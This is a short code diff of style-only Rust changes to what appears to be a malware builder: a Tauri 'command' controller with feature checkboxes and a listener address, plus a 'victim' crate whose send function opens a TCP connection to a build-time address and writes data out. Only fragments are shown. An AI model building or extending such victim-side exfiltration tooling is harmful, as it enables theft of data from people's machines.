M command/src-tauri/src/main.rs => command/src-tauri/src/main.rs +3 -3
@@ 93,7 93,7 @@ fn victim_payload() -> String {
for _ in 0..4 {
path.pop();
}
- for i in vec!["victim", "target", "release", "victim"] {
+ for i in &["victim", "target", "release", "victim"] {
path.push(i);
}
path.display().to_string()
@@ 106,12 106,12 @@ fn get_new() -> Vec<Sends> {
let index = Arc::clone(&INDEX);
let mut index = index.lock().unwrap();
*index = sends.len();
- return sends[start_at..].to_vec();
+ sends[start_at..].to_vec()
}
#[tauri::command]
fn is_done() -> bool {
- (*DONE.lock().unwrap()).clone()
+ *DONE.lock().unwrap()
}
fn main() {
M command/src/app.rs => command/src/app.rs +3 -3
@@ 41,10 41,10 @@ pub fn app() -> Html {
}
let _ = gen(
features,
- getPayload().await.unwrap_or(JsValue::null()),
+ getPayload().await.unwrap_or_else(|_| JsValue::null()),
getIp()
.await
- .unwrap_or(JsValue::from_str("127.0.0.1:13337")),
+ .unwrap_or_else(|_| JsValue::from_str("127.0.0.1:13337")),
)
.await;
});
@@ 91,7 91,7 @@ pub fn app() -> Html {
{
for types.iter().map(|i| {
id+=1;
- html! { <><input type="checkbox" id={i.to_string()} checked={ true } /><label for={i.to_string()}>{ i.replace("-", " ") }</label></>}
+ html! { <><input type="checkbox" id={i.to_string()} checked={ true } /><label for={i.to_string()}>{ i.replace('-', " ") }</label></>}
}
)
}
M victim/src/send.rs => victim/src/send.rs +1 -1
@@ 3,6 3,6 @@ use std::net::TcpStream;
pub fn send(data: &[u8]) -> Result<(), std::io::Error> {
let mut stream = TcpStream::connect(env!("send_to"))?;
- stream.write(data)?;
+ let _ = stream.write(data)?;
Ok(())
}